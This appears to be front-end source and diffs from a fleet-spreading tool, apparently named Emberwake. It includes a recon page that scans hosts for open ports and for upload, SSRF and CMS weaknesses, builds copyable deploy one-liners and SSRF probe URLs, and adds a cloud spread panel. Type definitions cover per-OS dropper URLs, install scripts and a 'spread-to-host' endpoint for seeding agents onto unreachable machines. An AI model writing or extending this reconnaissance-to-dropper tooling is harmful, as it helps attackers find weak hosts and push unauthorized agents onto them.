<CopyChip text={card.probe_url} label="Copy SSRF probe URL" />
) : null}
{fleetSpreadOpen ? (
<Link to={crucibleSpreadLink(host)} className="btn btn-outline btn-sm">
Fleet spread to {host}
</Link>
) : null}
</div>
</article>
);
});
const ResultsPanel = memo(function ResultsPanel({
report,
cards,
mermaid,
serverBase,
pinnedBuildId,
}: {
report: ReconScanReport;
cards: ReconWebFindingCard[];
mermaid: string;
serverBase: string;
pinnedBuildId: string;
}) {
const [portHint, setPortHint] = useState('');
const curlLine = useMemo(
() => curlInstallLine(serverBase, pinnedBuildId),
[serverBase, pinnedBuildId],
);
const fleetSpreadOpen = useMemo(
() => report.ports.some((p) => p.open && FLEET_SPREAD_PORTS.has(p.port)),
[report.ports],
);
return (
<div className="dr-results" data-testid="dr-results">
<PortMatrix ports={report.ports} onHint={setPortHint} />
{portHint ? <p className="dr-port-hint" data-testid="dr-port-hint">{portHint}</p> : null}
<details open>
<summary className="dr-section-title">Web findings</summary>
{cards.length === 0 ? (
<p className="dr-empty">No upload, SSRF, or CMS hints from crawl.</p>
) : (
<div className="dr-findings-grid">
{cards.map((c) => (
<FindingCard
key={c.id}
card={c}
curlLine={curlLine}
host={report.host}
fleetSpreadOpen={fleetSpreadOpen}
/>
))}
</div>
)}
</details>
{mermaid ? (
<details>
<summary className="dr-section-title">Deploy flow (mermaid)</summary>
<pre className="dr-mermaid" data-testid="dr-mermaid">{mermaid}</pre>
</details>
) : null}
{(report.recommendations?.length ?? 0) > 0 ? (
<details>
<summary className="dr-section-title">Spread recommendations</summary>
<ul className="dr-empty" style={{ margin: 0, paddingLeft: '1.1rem' }}>
{report.recommendations!.map((r, i) => (
<li key={`${r.lane}-${r.template}-${i}`}>{r.reason}</li>
))}
</ul>
</details>
) : null}
</div>
);
});
export default function DeployReconPage() {
const [host, setHost] = useState('');
const [port, setPort] = useState('80');
const [https, setHttps] = useState(false);
const [pathPrefix, setPathPrefix] = useState('');
const [scanning, setScanning] = useState(false);
const [error, setError] = useState('');
const [report, setReport] = useState<ReconScanReport | null>(null);
const [serverBase, setServerBase] = useState('');
const [pinnedBuildId, setPinnedBuildId] = useState('');
const abortRef = useRef<AbortController | null>(null);
const debounceRef = useRef<ReturnType<typeof setTimeout> | null>(null);
useEffect(() => {
void (async () => {
try {
const [builds, info, cfg] = await Promise.all([
api.listBuilds(),
api.getServerInfo(),
api.getConfig(),
]);
const pub = cfg.server?.public_url?.trim();
setServerBase((pub || info.suggested_url || window.location.origin).replace(/\/$/, ''));
const pinned = builds.find((b: BuildRecord) => b.pinned);
if (pinned) setPinnedBuildId(pinned.id);
} catch {
setServerBase(window.location.origin.replace(/\/$/, ''));
}
})();
}, []);
const runScan = useCallback(async () => {
const trimmed = host.trim();
if (!trimmed) {
setError('Host or IP required');
return;
}
abortRef.current?.abort();
const controller = new AbortController();
abortRef.current = controller;
setScanning(true);
setError('');
setReport(null);
const portNum = parseInt(port, 10) || 80;
try {
const body = reconScanBody(trimmed, portNum, https, pathPrefix);
const res = await api.reconScan(body, controller.signal);
if (!controller.signal.aborted) setReport(res);
} catch (e) {
if (e instanceof DOMException && e.name === 'AbortError') return;
setError(e instanceof Error ? e.message : 'Scan failed');
} finally {
if (!controller.signal.aborted) setScanning(false);
}
}, [host, port, https, pathPrefix]);
const scheduleScan = useCallback(() => {
if (debounceRef.current) clearTimeout(debounceRef.current);
debounceRef.current = setTimeout(() => {
void runScan();
}, SCAN_DEBOUNCE_MS);
}, [runScan]);
useEffect(() => () => {
abortRef.current?.abort();
if (debounceRef.current) clearTimeout(debounceRef.current);
}, []);
const cards = useMemo(
() => (report ? buildReconFindingCards(report, serverBase) : []),
[report, serverBase],
);
const mermaid = useMemo(
() => (report ? buildReconMermaid(report.ports, cards) : ''),
[report, cards],
);
return (
<div className="page deploy-recon-page operator-deck-page">
<SacredPageHeader
eyebrow="Browser spread"
title="Deploy Recon"
subtitle="Scan an operator-owned host for open fleet ports, upload/SSRF/CMS hints, and copy browser deploy one-liners."
helpField="dr_overview"
/>
<section className="neon-card dr-scan-form" aria-label="Recon target">
<div className="dr-field">
<label htmlFor="dr-host">Host / IP</label>
<input
id="dr-host"
className="input"
value={host}
onChange={(e) => setHost(e.target.value)}
placeholder="10.0.0.12 or app.lab"
data-testid="dr-host-input"
/>
</div>
<div className="dr-field">
<label htmlFor="dr-port">Port</label>
<input
id="dr-port"
className="input"
type="number"
min={1}
max={65535}
value={port}
onChange={(e) => setPort(e.target.value)}
data-testid="dr-port-input"
/>
</div>
<div className="dr-field">
<span className="dr-https-toggle">
<input
id="dr-https"
type="checkbox"
checked={https}
onChange={(e) => setHttps(e.target.checked)}
data-testid="dr-https-toggle"
/>
<label htmlFor="dr-https">HTTPS</label>
</span>
</div>
<div className="dr-field">
<label htmlFor="dr-path">Path prefix <HelpTip field="dr_path_prefix" /></label>
<input
id="dr-path"
className="input"
value={pathPrefix}
onChange={(e) => setPathPrefix(e.target.value)}
placeholder="/admin"
data-testid="dr-path-input"
/>
</div>
<button
type="button"
className="btn btn-primary"
disabled={scanning || !host.trim()}
onClick={scheduleScan}
data-testid="dr-scan-btn"
>
{scanning ? 'Scanning…' : 'Scan'}
</button>
</section>
{error ? <p className="dr-error" role="alert">{error}</p> : null}
{scanning ? <ScanSkeleton /> : null}
{report && !scanning ? (
<ResultsPanel
report={report}
cards={cards}
mermaid={mermaid}
serverBase={serverBase}
pinnedBuildId={pinnedBuildId}
/>
) : null}
</div>
);
}

View File

@@ -99,6 +99,8 @@ describe('EmberwakePage', () => {
it('collapses advanced sections by default', async () => {
renderEmberwake();
await screen.findByRole('heading', { level: 1, name: /Emberwake/i });
expect(screen.getByText(/Cloud ecosystem/i)).toBeInTheDocument();
expect(screen.queryByTestId('cloud-spread-panel')).not.toBeVisible();
expect(screen.getByText(/Supply-chain exports/i)).toBeInTheDocument();
const wpTab = screen.getByRole('tab', { name: /WordPress plugin/i });
expect(wpTab).not.toBeVisible();

View File

@@ -22,6 +22,7 @@ import { usePresence } from '../context/PresenceContext';
import AlsoHere from '../components/Presence/AlsoHere';
import ComradeAvatar from '../components/Presence/ComradeAvatar';
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
import CloudSpreadPanel from '../components/Spread/CloudSpreadPanel';
import SubnetAutopsyCard from '../components/Atlas/SubnetAutopsyCard';
import { parseSeerSubnetAutopsy } from '../help/subnetAutopsy';
import { HelpTip } from '../components/HelpTip';
@@ -506,6 +507,19 @@ export default function EmberwakePage() {
)}
</section>
<details className="emberwake-advanced spread-section spread-section--cyan operator-deck-card operator-interactive">
<summary className="emberwake-advanced-summary">
<span className="emberwake-section-title">
Cloud ecosystem <HelpTip field="ew_cloud_aws" />
</span>
<span className="emberwake-section-desc emberwake-advanced-tag">Advanced</span>
</summary>
<p className="emberwake-section-desc">
AWS S3/CloudFront, MinIO, Cloud Map, and generic VPS spread kits uses campaign setup above.
</p>
<CloudSpreadPanel serverUrl={serverBase} buildId={pinA} campaign={campaign} />
</details>
<details className="emberwake-advanced spread-section spread-section--violet operator-deck-card operator-interactive">
<summary className="emberwake-advanced-summary">
<span className="emberwake-section-title">

View File

@@ -44,3 +44,134 @@ export interface ServiceGraphResponse {
subnet?: string;
services: ServiceGraphNode[];
}
/** GET /api/v1/recon/deploy-kit — lane-specific spread kit for a recon host. */
export interface ReconDeployKitDropperURLs {
get?: string;
get_windows?: string;
get_linux?: string;
get_darwin?: string;
install_ps1?: string;
install_sh?: string;
install_command?: string;
}
export interface ReconDeployKitSpreadZIP {
method: string;
url: string;
note?: string;
}
export interface ReconDeployKitResponse {
ok: boolean;
host: string;
finding?: string;
join_lane?: string;
matched_service?: string;
agent_reachable?: boolean;
agent_found?: boolean;
agent_id?: string;
dropper_urls?: ReconDeployKitDropperURLs;
spread_kit_zip?: ReconDeployKitSpreadZIP;
spread_template?: { template?: string; method: string; url: string };
deploy_plan_template?: Record<string, unknown>;
ssm_bundle?: Record<string, unknown>;
crucible_link?: string;
error?: string;
}
/** POST /api/v1/fleet/spread-to-host — seed discover_and_join toward unreachable IP. */
export interface FleetSpreadToHostRequest {
host: string;
finding?: string;
build_id?: string;
campaign?: string;
join_lane?: string;
}
export interface FleetSpreadToHostResponse {
ok: boolean;
host: string;
join_lane?: string;
matched_service?: string;
agent_reachable?: boolean;
agent_found?: boolean;
agent_id?: string;
seed_agent_id?: string;
seed_agent_name?: string;
queued?: boolean;
dispatch_error?: string;
recommended_command?: string;
command_args?: Record<string, unknown>;
operator_note?: string;
crucible_link?: string;
}
/** POST /api/v1/recon/scan — owned-target browser deploy recon. */
export interface ReconScanRequest {
host: string;
port?: number;
scheme?: string;
paths?: string[];
}
export interface ReconPortResult {
port: number;
open: boolean;
}
export interface ReconFormFinding {
page_url: string;
action?: string;
method?: string;
enctype?: string;
fields?: string[];
has_file_input?: boolean;
multipart?: boolean;
}
export interface ReconURLFieldFinding {
page_url: string;
name: string;
type?: string;
hint: string;
}
export interface ReconCrawlReport {
pages_fetched: number;
pages?: { url: string; status_code: number; title?: string }[];
file_inputs?: ReconFormFinding[];
multipart_forms?: ReconFormFinding[];
url_fields?: ReconURLFieldFinding[];
ssrf_score: number;
cms_fingerprints?: string[];
}
export interface ReconDeployRecommendation {
lane?: string;
template?: string;
reason: string;
priority: number;
}
export interface ReconScanReport {
host: string;
scanned_at: string;
ports: ReconPortResult[];
crawl?: ReconCrawlReport;
recommendations?: ReconDeployRecommendation[];
}
export type ReconConfidence = 'high' | 'medium' | 'low';
export interface ReconWebFindingCard {
id: string;
kind: 'ssrf' | 'file_upload' | 'cms' | 'info';
title: string;
detail: string;
confidence: ReconConfidence;
spread_lane?: string;
probe_url?: string;
mermaid?: string;
}